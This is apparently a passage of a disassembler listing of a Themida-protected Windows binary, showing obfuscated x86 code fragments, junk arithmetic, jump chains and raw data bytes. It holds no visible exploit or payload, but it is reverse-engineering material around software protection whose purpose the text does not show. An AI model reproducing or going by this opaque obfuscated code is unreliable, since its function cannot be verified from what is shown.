		dd 5BFC30FFh, 0FFD822E9h, 4EE95EFFh
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E7A3:				; CODE XREF: Themida_:0054E7CAj
		pop	ebp
		xchg	ebp, edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	edx
		jmp	loc_546ABD
; ---------------------------------------------------------------------------
		dw 5058h
		dd 2B9E9h, 2E3C100h, 12DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_54E7C1:				; CODE XREF: Themida_:00547267j
		push	ebp
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		jmp	loc_54E7A3
; ---------------------------------------------------------------------------
		db 81h
		dd 391D0EEAh, 14875941h, 0EA815C24h, 0C905414h,	3CDBC281h
		dd 0C2014901h, 3CDBBB53h, 0DA294901h, 9EE9575Bh
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E7F7:				; CODE XREF: Themida_:00549B71j
		pop	esp
		jmp	loc_547615
; ---------------------------------------------------------------------------
		db 2Ch,	9Ah, 0
aRHse		db 'ØR²šh™E',0
		dd 24148900h, 0F02880B6h, 0FFD0A3E9h, 4285BDFFh, 0E8E99D8Bh
		dd 6800001Dh, 3138h, 68240C89h,	5B7Bh, 0E9240489h, 0FFFFB673h
; ---------------------------------------------------------------------------


loc_54E834:				; CODE XREF: Themida_:0054BA70j
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 182D333Fh
		shr	ecx, 1
		dec	ecx
		sub	ecx, 11ED1BFDh
		and	ecx, 519B1D23h
		not	ecx
		push	edi
		mov	edi, 50091D26h
		add	ecx, edi
		pop	edi
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54AFD1
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0CCh
		dd 8121B22Dh, 0B22DC8EFh, 0FAE95321h, 0F7FFFF83h, 93582414h
		dd 5C7CEB81h, 0E3C11B8Ch, 0CE39E906h, 0C8BFFFFh, 0D499E924h
		dd 0E800FFFFh, 5966192Ch, 70E9BC04h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E8A3:				; CODE XREF: Themida_:00549CCCj
		add	esp, 4
		push	3CEBh
		mov	[esp], eax
		mov	eax, 28526859h
		jmp	loc_54D554
; ---------------------------------------------------------------------------
		dd 4C481h, 0EFE90000h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E8C3:				; CODE XREF: Themida_:0054C2FBj
		add	[esp+4], eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_544FF4
; ---------------------------------------------------------------------------
		db 0F6h
		dd 6AC380DBh, 0C01DB252h, 0DAF605E2h, 0EA80DAF6h, 80D2F6DFh
		dd 1DE958F2h, 8100000Dh, 174620C6h, 46E9512Ch, 8FFFFF91h
		dd 248B2404h, 0C8BE0F24h, 679068h, 240C8900h, 0FF61D4E9h
		dd 60C181FFh, 2918DE86h, 0CD0159CDh, 5BEFC581h,	0BE564012h
		dd 4C333285h, 42E9F529h, 0FFFFFF75h, 48B2434h, 952CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E946:				; CODE XREF: Themida_:0054D732j
		mov	[esp], ebx
		pop	edi
		push	edi
		jmp	loc_548C4F
; ---------------------------------------------------------------------------
		dd 8103EDC1h, 247588E5h, 0F7CD816Eh, 0E92B9511h, 0FFFFB430h
		dd 81D9F75Bh, 0EFA672F1h, 0E9CF0180h, 0FFFFDE00h
; ---------------------------------------------------------------------------


loc_54E974:				; CODE XREF: Themida_:00550A18j
		xor	bl, dl
		jmp	loc_550CAD
; ---------------------------------------------------------------------------


loc_54E97B:				; CODE XREF: Themida_:005481D4j
		pop	eax
		pop	dword ptr [esp]
		push	3873h
		mov	[esp], eax
		not	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54A531
; ---------------------------------------------------------------------------
		dw 0FB29h
		dd 815BDF87h, 0C14635EFh, 3EC78171h, 0E9A87E0Fh, 193Ah
; ---------------------------------------------------------------------------


loc_54E9A8:				; CODE XREF: Themida_:0054C959j
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xor	ebx, 34123AE0h
		jmp	loc_54DC67
; ---------------------------------------------------------------------------


loc_54E9B8:				; CODE XREF: Themida_:0054C238j
		pop	edi
		shl	ebp, 7
		and	ebp, 4EA376E6h
		xor	ebp, 8D966E0h
		sub	edx, 41F07F50h
		push	esi
		mov	esi, 744979C1h
		and	esi, 46D5290h
		neg	esi
		xor	esi, 9B77D9E4h
		add	edx, esi
		jmp	loc_5452FD
; ---------------------------------------------------------------------------


loc_54E9E9:				; CODE XREF: Themida_:0054B539j
		mov	[esp], edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_54D72C
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8904EC83h, 5D54242Ch, 4C581h, 9C680000h
		dd 89000008h, 5DE9240Ch
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54EA1F:				; CODE XREF: Themida_:00545D52j
		or	ebx, 0E5B5FE8h
		jmp	loc_54DFFA
; ---------------------------------------------------------------------------
		dw 148Bh
aHR		db '$h|r',0
		align 2
		dw 0C89h
		dd 0C7AFE924h, 3C8BFFFFh, 650BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EA42:				; CODE XREF: Themida_:0054696Bj
		add	ebp, esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_5493CD
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 9C2404D3h, 0FF608CE9h, 6087E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EA6A:				; CODE XREF: Themida_:005467A1j
		push	dword ptr [esp]
		jmp	loc_5485BB
; ---------------------------------------------------------------------------
		dw 0EBB8h
		dd 35588849h, 55520E28h, 1610E9h
		db 0
; ---------------------------------------------------------------------------


loc_54EA81:				; CODE XREF: Themida_:00545C6Fj
		add	al, 3Ah
		add	bl, al
		mov	eax, [esp]
		push	3F5Bh
		jmp	loc_54E4CB
; ---------------------------------------------------------------------------
		dw 0B050h
		dd 0E9500C2Eh, 1F01h, 0E9240C89h, 0FFFF604Dh, 5C240C87h
		dd 0C10CE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EAAE:				; CODE XREF: Themida_:0054ED3Cj
		mov	[esp], edx
		mov	edx, 1
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54599F
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 8104C483h, 88606EF7h, 0CCF5E93Eh, 2C33FFFFh,	242C3124h
		dd 0E9242C33h, 0FFFFB129h, 24048B66h, 271368h, 24048900h
		dd 88E95854h, 5AFFFFEFh, 1C8BD889h, 9E7FE924h, 685CFFFFh
		dd 5B5Ch, 0FF632FE9h, 0BDE958FFh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EB0F:				; CODE XREF: Themida_:0055056Ej
		xchg	ebx, edi
		xor	esi, edi
		jmp	loc_5479AF
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 4EF8300h, 31243C33h, 3C33243Ch, 14895C24h
		dd 0F6D0E924h, 0E6C1FFFFh, 10E68107h, 815C1E48h, 2A1371EEh
		dd 0FDB1E974h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EB4A:				; CODE XREF: Themida_:0054BE0Cj
		sub	ebp, 65146EA1h
		pop	esi
		jmp	loc_5503E1
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 166033BCh, 0E7D5E957h, 0F831FFFFh, 0FFC815E9h, 0E4B652FFh
		dd 805AF128h, 0F1000BE9h, 520BC180h, 0EAD0B5B2h, 0EAC0C2FEh
		dd 80DAF604h, 0EA8084C2h, 5AD1009Bh, 0C8305A66h, 592434FFh
		dd 0FF7F2CE9h, 4C381FFh, 0E9000000h, 0FFFFC9FDh, 0B3241C89h
		dd 0E9DD8829h, 167Eh, 0E92434FFh, 0FFFFAEECh, 0D0F7D8F7h
		dd 0B72C960Dh, 45DE2557h, 2E054E58h, 81B9EFFAh,	6A7A31C7h
		dd 0E9C7011Eh, 0FFFFD26Dh
; ---------------------------------------------------------------------------


loc_54EBD8:				; CODE XREF: Themida_:0054D38Ej
		add	ecx, 4
		jmp	loc_54F00E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D3662424h, 0E99C2404h, 0FFFF5F01h, 0D3F7DBF7h, 0BA70BF57h
		dd 5EE97B72h, 0B8000006h, 4, 8358C301h,	48E904ECh, 0FF000017h
		dd 0FFE92434h, 88FFFF7Ah, 0F8305AF7h, 0B7535B66h, 51DFF6AAh
		dd 0B153B652h, 0E9F1305Fh, 0FFFF9AF7h, 89243C89h
		db 0E7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54D718
; ---------------------------------------------------------------------------
aRitu0kx	db 'R‰âU½0K•',0
aS@		db 'é@',7,0
		align 4


loc_54EC58:				; CODE XREF: Themida_:0054C4B6j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5497C8
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 89243C89h, 4C781E7h, 55000000h, 431DAF68h, 0E5C15D6Eh
		dd 6B52E905h, 805BFFFFh, 0EB808CF2h, 80D30044h,	805A44C3h
		dd 72E944C3h, 0E9FFFFB1h, 0FFFF5E55h, 207F83ADh, 9B840F00h
		dd 81FFFFC1h, 6200CAEEh, 0BE80E948h, 685BFFFFh,	136Bh
		dd 0E9240C89h, 0FFFFE106h, 57D4BA52h, 0D9B82B00h, 293991C2h
		dd 24148BD0h, 4C481h, 19250000h, 0C1626854h, 0EC8108E0h
		dd 4, 51241489h, 4C437DB9h, 4481BA36h, 0CA29368Ch, 8BD03159h
		dd 0C4832414h, 58C20104h, 0E902C283h, 0FFFF7860h
; ---------------------------------------------------------------------------


loc_54ED08:				; CODE XREF: Themida_:00550F63j
		and	ebx, 72065CA6h
		neg	ebx
		xchg	ebp, ebx
		neg	ebp
		jmp	loc_54BBD1
; ---------------------------------------------------------------------------


loc_54ED19:				; CODE XREF: Themida_:0054C31Dj
		push	esi
		mov	esi, 2F96511Ah
		jmp	loc_54A11F
; ---------------------------------------------------------------------------


loc_54ED24:				; CODE XREF: Themida_:0054DA94j
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_54EAAE
; ---------------------------------------------------------------------------


loc_54ED41:				; CODE XREF: Themida_:00550AFCj
		and	eax, ecx
		jmp	loc_548485
; ---------------------------------------------------------------------------
		dd 6C4780BFh, 4ECF8135h, 815EDF36h, 10BEFAC7h, 8BF931CDh
		dd 0C483243Ch, 30BF6804h, 1C890000h, 0EC835024h, 243C8904h
		dd 1BFh, 0E9F88900h, 0FFFFEBF3h, 7C61C381h, 0CB01434Ch
		dd 8A7E951h, 4810000h, 424h, 0D07BE900h, 0CE81FFFFh, 19311892h
		dd 0FFB055E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EDA1:				; CODE XREF: Themida_:0054B6FEj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5502D7
; ---------------------------------------------------------------------------
		dd 0E9240C87h, 0FFFFCA31h
; ---------------------------------------------------------------------------


loc_54EDB4:				; CODE XREF: Themida_:0054ACE3j
		add	edx, 245573BCh
		add	edx, 546D616Bh
		shl	edx, 1
		add	edx, 5B953CAh
		sub	ecx, 3F1C25ADh
		sub	ecx, edx
		add	ecx, 3F1C25ADh
		jmp	loc_54AA14
; ---------------------------------------------------------------------------
		db 81h
		dd 1C737AEEh, 0E9FE0137h, 0FFFF9687h
; ---------------------------------------------------------------------------


loc_54EDE8:				; CODE XREF: Themida_:00550975j
		pop	eax
		xor	eax, ebp
		pop	ebp
		mov	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		jmp	loc_549FFE
; ---------------------------------------------------------------------------


loc_54EE05:				; CODE XREF: Themida_:00551077j
		sub	esi, 0DE06B8DFh
		and	eax, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54BC75
; ---------------------------------------------------------------------------
		dd 171ABD55h, 0F581127Fh, 7C0144EDh, 0FF8EC5E9h, 1DE781FFh
		dd 0E906E843h, 0FFFF907Ch, 0F6B6B652h, 6EEC0D6h, 0FF67F3E9h
		dd 0E9FD01FFh, 0FFFFCE70h, 805BFE28h, 0F680A3CEh, 62B15118h
		dd 0FFE7D2E9h, 2C681FFh, 817C3971h, 6033BCC6h, 0A55E916h
		dd 0E95A0000h, 0AEFh, 0CFA8E95Ah, 8FFFFFh, 775EE952h, 1489FFFFh
		dd 0EEE7E924h, 8953FFFFh, 11BBE9E3h, 34870000h,	24248B24h
		dd 0E9240489h, 0FFFFA3D4h, 5158C321h, 0FF66C1E9h, 0FCF281FFh
		dd 31A6C763h, 0F1295AD6h, 59CB015Eh, 5EE9C329h,	52FFFFAAh
		dd 0C280D0B2h, 0E9D2F67Ah, 0E8Bh, 6624248Bh, 2404B30Fh
		dd 5C0FE99Ch, 0D701FFFFh, 8124148Bh, 4C4h, 243C8700h, 0D5E0E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EEF6:				; CODE XREF: Themida_:00548C90j
		pop	eax
		neg	eax
		push	47E6h
		mov	[esp], eax
		not	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_546175
; ---------------------------------------------------------------------------
		dd 8702C783h, 248B243Ch, 9F81E924h, 0F287FFFFh,	6185EA81h
		dd 0D3015275h, 1A9DE95Ah, 4890000h, 0E774E924h,	0F66FFFFh
		dd 3AE9C8B6h, 0FFFFFF67h, 58042474h, 0E924048Fh, 0FFFFDBA6h
; ---------------------------------------------------------------------------


loc_54EF58:				; CODE XREF: Themida_:00547009j
		sub	esp, 4
		mov	[esp], edx
		push	4C177319h
		pop	edx
		add	edx, 1D8E1C8Dh
		jmp	loc_5479DE
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 5FEB3F9Ah, 63E9D301h, 0BEFFFF8Bh, 204829DFh,	425A6853h
		dd 0F75B2D69h, 6DA3E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EF92:				; CODE XREF: Themida_:00550F77j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_547F7A
; ---------------------------------------------------------------------------
		db 59h
		dd 0F29BC381h, 8955BEE2h, 0B224E9DDh, 0DA01FFFFh, 0FF84E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EFB9:				; CODE XREF: Themida_:0055113Cj
		add	esp, 4
		push	ebp
		mov	ebp, 2AE863FFh
		and	eax, ebp
		jmp	loc_54D77A
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0B8505D54h, 4, 6858C501h, 6E4h, 0E9241C89h, 0FFFF707Ch
		dd 88240C89h, 59EA88C5h, 0F668D2F6h, 8900007Fh,	8850240Ch
		dd 58C188D0h, 88CB8853h, 850EE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F006:				; CODE XREF: Themida_:00549FA6j
		pop	dword ptr [esp]
		jmp	loc_550697
; ---------------------------------------------------------------------------


loc_54F00E:				; CODE XREF: Themida_:0054EBDEj
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_544F03
; ---------------------------------------------------------------------------


loc_54F01A:				; CODE XREF: Themida_:005475CEj
		pop	esp
		jmp	loc_545DCA
; ---------------------------------------------------------------------------
		dd 0BE243489h, 116542BEh, 0FF9958E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F02D:				; CODE XREF: Themida_:00546794j
		mov	edx, [esp]
		jmp	loc_5456C2
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 86h
		dd 5010132Bh, 0FFA6D9E9h, 68665BFFh, 89665502h,	0EC81241Ch
		dd 4, 56241489h, 0C681E689h, 4,	8704EE83h, 0E95C2434h
		dd 4CFh, 5C243487h, 68B368h, 24348900h,	0E45CA1BEh, 14F75640h
		dd 685E24h, 0E9000000h,	0FFFF84AEh, 4C5815Dh, 0E9000000h
		dd 1723h
; ---------------------------------------------------------------------------


loc_54F094:				; CODE XREF: Themida_:00546274j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 0C8B66C3h, 20016824h, 34890000h, 81E68924h, 4C6h, 780A6800h
		dd 2C890000h, 0AB20E924h, 0C681FFFFh, 4, 8704EE83h, 895C2434h
		dd 58542404h, 405h, 40500h, 4870000h, 0EC815C24h, 4, 0B9240C89h
		dd 5D5305B9h, 5BDF181h,	0CA015D53h, 2C28159h, 33000000h
		dd 90E92414h, 0C100001Dh, 0CB8104EBh, 42335E68h, 12685657h
		dd 5E2BD8ACh, 348BF789h, 4C48124h, 0E9000000h, 0FFFF97EFh
		dd 0E9C0095Ch, 1EBh
; ---------------------------------------------------------------------------


loc_54F128:				; CODE XREF: Themida_:00548615j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_544F29
; ---------------------------------------------------------------------------
		db 81h
		dd 0E943F9E1h, 0EC815716h, 4, 679E9h, 0F8016600h, 81665F66h
		dd 812DBCEBh, 4ECh, 24148900h, 409ABA66h, 75C28166h, 0D30166EBh
		dd 0ECE9575Ah, 0C0FFFF8Dh, 0BFE905E0h, 52FFFF80h, 3A0FC668h
		dd 0CA815A39h, 23580E77h, 0FF5F281h, 81523B7Ah,	6D7F242Ch
		dd 558426Dh, 426D6D7Fh,	0DF4EE95Ah, 0BA52FFFFh,	1C856D69h
		dd 0FF83EBE9h, 8FBE56FFh, 0E9466879h, 0FFFFF982h, 66C3005Ah
		dd 7DC38058h, 0DC68C300h, 89000015h, 0B0B42404h, 0CC80DCF6h
		dd 0A4BBE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F1D2:				; CODE XREF: Themida_:0054F246j
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 20000h
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_5477F9
; ---------------------------------------------------------------------------
aZSs		db '‡<$éè',7,0
		dd 0EBA23500h, 0C231CBDFh, 0FFA87EE9h, 2474FFFFh, 48F5F04h
		dd 24248B24h, 0FFAB50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F215:				; CODE XREF: Themida_:00546411j
		add	esi, 77425C6Dh
		pop	edi
		xchg	esi, [edi+24h]
		jmp	loc_54B169
; ---------------------------------------------------------------------------
		dd 4653B7BDh, 8BE8294Dh, 8950242Ch, 405E0h, 0D2E90000h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F23B:				; CODE XREF: Themida_:0054CC0Bj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54F1D2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FBE92434h, 68FFFFE5h, 0
		dd 1623E9h, 5FFB3100h, 15BDE01h, 24348BF3h, 0E904C483h
		dd 0FFFFD945h, 0FF587CE9h, 0FC1BFFFh, 0BD555FC7h, 48993B87h
		dd 0E95DE801h, 0FFFFB3A8h, 8304C483h, 0E86804C1h, 89000067h
		dd 74FF240Ch, 0E9590424h, 0FFFFF667h, 459EF30h,	2CF828A1h
		dd 2434FFA1h, 4C4815Bh,	53000000h, 0FFD276E9h, 4BD55FFh
		dd 0E9000000h, 0FFFFB308h
; ---------------------------------------------------------------------------


loc_54F2C4:				; CODE XREF: Themida_:00548500j
		mov	edx, 25856CE6h
		jmp	loc_549BF3
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 506B64BBh, 46FF381h,	0C14B0565h, 0EBC104EBh,	18EB8105h
		dd 89001AD9h, 0CF015BD9h, 4BB5359h, 1000000h, 3C335BDFh
		dd 243C3124h, 0E9243C33h, 0FFFFDBB8h
; ---------------------------------------------------------------------------


loc_54F304:				; CODE XREF: Themida_:0054CA2Aj
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edi
		jmp	loc_550AEF
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FF67F484h, 0FC6852FFh, 8900000Ch, 0C5E9242Ch
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F327:				; CODE XREF: Themida_:0054942Ej
		add	esp, 4
		jmp	loc_54B458
; ---------------------------------------------------------------------------


loc_54F332:				; CODE XREF: Themida_:0054FE84j
		push	dword ptr [esp]
		jmp	loc_545AE0
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 6EAC048h, 0C280DAF6h, 0FCCA8001h, 80E6C280h,	0D328E3EBh
		dd 5AE3C380h, 66C0B60Fh, 66747168h, 0E9240489h,	0FFFF578Dh
; ---------------------------------------------------------------------------


loc_54F364:				; CODE XREF: Themida_:0054B971j
		sub	eax, edx
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_54AA9B
; ---------------------------------------------------------------------------


loc_54F387:				; CODE XREF: Themida_:0054BC29j
		mov	edx, ecx
		pop	ecx
		xor	ebp, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5500C3
; ---------------------------------------------------------------------------
		dd 35D4C581h, 0C5810C23h, 0F3477F00h, 0FF7E6DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F3A9:				; CODE XREF: Themida_:00545E97j
		pop	ebp
		sub	eax, 8D32009h
		add	eax, 7967D3Ah
		jmp	loc_54C50A
; ---------------------------------------------------------------------------


loc_54F3B9:				; CODE XREF: Themida_:0054B691j
		or	ebx, ebx
		jmp	loc_54D9BD
; ---------------------------------------------------------------------------


loc_54F3C0:				; CODE XREF: Themida_:0054932Aj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		jmp	loc_54712C
; ---------------------------------------------------------------------------
		db 80h,	0EEh, 28h
		dd 1728E9h, 0E9C70100h,	0FFFFC23Dh
; ---------------------------------------------------------------------------


loc_54F3E0:				; CODE XREF: Themida_:00546AC0j
		mov	esi, 4
		add	edx, esi
		pop	esi
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_54B8FC
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 4Ch
		dd 8124EA43h, 0FC2AF1F2h, 6853571Fh, 7F2366A2h,	5BDF895Bh
		dd 8147DFF7h, 0FEAFEDC7h, 0E9F801F8h, 0FFFFAA96h, 40C9ED81h
		dd 0E5C131E3h, 0C5814D03h, 0DE812FE5h, 0FFBC2DE9h, 59C829FFh
		dd 6A47412Dh, 0E9535F51h, 0FFFF718Ah, 6658CF80h, 8A0B151h
		dd 0E95966CFh, 0FFFFBCE8h, 49CAEA81h, 1587E31h,	0F691E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F462:				; CODE XREF: Themida_:00547715j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54A721
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6892434h, 0FFA8F8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F475:				; CODE XREF: Themida_:00546543j
		neg	esi
		jmp	loc_54C000
; ---------------------------------------------------------------------------
		dd 0E7C04EB7h, 7933E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F486:				; CODE XREF: Themida_:0054D0E7j
		add	bl, 56h
		add	bl, 9Bh
		jmp	loc_546D6E
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 8104C483h, 4ECh, 24048900h, 9B58AEB8h, 0D0F7402Ah, 4D73D725h
		dd 2DD0F745h, 0BABBDCADh, 71D7B850h, 0D0F7758Bh, 0A41E948h
		dd 0CE010000h, 68240C8Bh, 88Eh,	0FFD4D9E9h, 0E9292CFFh
		dd 0FFFF6923h, 8B240C87h, 0CD682424h, 89000010h, 0F8892404h
		dd 6C1F68h, 242C8900h, 5355C589h, 7708B850h, 0C389066Ah
		dd 245C3158h, 0D72BE904h, 8850FFFFh, 576AE9ECh,	815BFFFFh
		dd 4C4h, 0EBF5700h, 811D270Ah, 0F36A22EFh, 7978E97Ah, 0E950FFFFh
		dd 0FFFF7076h, 39C86856h, 91E90000h, 89FFFF6Ch,	0EC81240Ch
		dd 4, 0B0240489h, 1667E9F7h, 0A5F30000h, 0E9386203h, 0FFFFB10Eh
		dd 0E924148Bh, 20Bh, 3166AD66h,	876866D8h, 34896623h, 98D9E924h
		dd 815BFFFFh, 0A9C4CC1h, 59C8019Bh, 2474FF50h, 0A9B6E904h
		dd 248BFFFFh, 35596824h, 0C890000h, 53E18924h, 0FF7F61E9h
		dd 0A8EA81FFh, 13C9174h, 0A8C281C2h, 583C9174h,	5C241487h
		dd 240C8B66h, 55E38953h, 4BDh, 0DFC38100h, 1393915h, 0DFEB81EBh
		dd 0E9393915h, 0FFFF9110h, 241C8B5Ah, 8104C483h, 614317F7h
		dd 6DB95168h, 9460D7Ch,	0E94F59CFh, 0FFFF777Dh,	41C04ACh
		dd 0E9D82820h, 0FFFFCF7Bh, 9EB753ACh, 0DFF6D7F6h, 0FF797EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F5FD:				; CODE XREF: Themida_:0054C1AAj
		push	47A1h
		mov	[esp], eax
		push	edx
		mov	edx, esp
		jmp	loc_54D8B7
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 56h
		dd 0E9258078h, 0FFFF5C6Ah, 148BD028h, 4C48324h,	6604D800h
		dd 0FF8A92E9h, 5DE931FFh, 1644E9h, 54AFB900h, 97E93F86h
		dd 66FFFFA9h, 0E9240C8Bh, 0FFFF7273h, 0DFBFE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F64A:				; CODE XREF: Themida_:00547B02j
		xor	edx, ebp
		pop	ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		push	edx
		jmp	loc_54D9D0
; ---------------------------------------------------------------------------


loc_54F661:				; CODE XREF: Themida_:00546AFCj
		add	edi, 4
		jmp	loc_54CC10
; ---------------------------------------------------------------------------
		dd 0E20EE950h, 5455FFFFh, 14B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F679:				; CODE XREF: Themida_:00550CB0j
		xchg	bl, [esp]
		dec	bl
		xchg	bl, [esp]
		not	byte ptr [esp]
		mov	bx, [esp]
		add	esp, 2
		sub	bl, 8Dh
		add	bl, 9Ch
		jmp	loc_547A98
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8704C483h, 248B243Ch, 5543E924h, 3487FFFFh, 0C5835C24h
		dd 0DB6DE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F6B6:				; CODE XREF: Themida_:00548762j
		mov	edx, 24h
		sub	edx, 6ACD0177h
		push	ebx
		mov	ebx, 6A3E19EFh
		xor	ebx, 38823F46h
		jmp	loc_54691D
; ---------------------------------------------------------------------------


loc_54F6D2:				; CODE XREF: Themida_:0054B4ABj
		sub	bl, 7Ch
		sub	bl, 9Fh
		pop	ecx
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3FCh
		mov	esi, ebx
		pop	ebx
		add	edi, 3BF36B1Eh
		jmp	loc_550FB9
; ---------------------------------------------------------------------------
		db 5Ah
		dd 6859E820h, 63FFh, 51241C89h,	0C181E189h, 4, 4BE56h
		dd 0F1290000h, 240C875Eh, 8924248Bh, 34FF2404h,	241C8B24h
		dd 4C481h, 54570000h, 0C06DE95Fh, 0F742FFFFh, 0B5F281DAh
		dd 1FE2A8Fh, 24148BD7h,	0FF850BE9h, 3C8B54FFh, 131AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_54F74A:				; CODE XREF: Themida_:005488C4j
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFFB20h, 284EC681h, 34FF374Fh, 76E95D24h,	0FFFFFF94h
		dd 0AAE92434h, 81FFFF9Ch, 4C4h,	39936800h, 14890000h, 5A545224h
		dd 4C281h, 67E90000h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54F783:				; CODE XREF: Themida_:00544F0Bj
		pop	dword ptr [esp]
		pop	esp
		push	esi
		jmp	loc_54AFB6
; ---------------------------------------------------------------------------


loc_54F78D:				; CODE XREF: Themida_:005480B6j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		jmp	loc_54D8E8
; ---------------------------------------------------------------------------


loc_54F7A0:				; CODE XREF: Themida_:0054647Ej
		push	1EC4h
		jmp	loc_54531C
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 0FF66EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F7B1:				; CODE XREF: Themida_:00547AA2j
		mov	[esp], eax
		mov	al, 0BBh
		and	al, 37h
		sub	al, 62h
		shl	al, 6
		jmp	loc_54E0D3
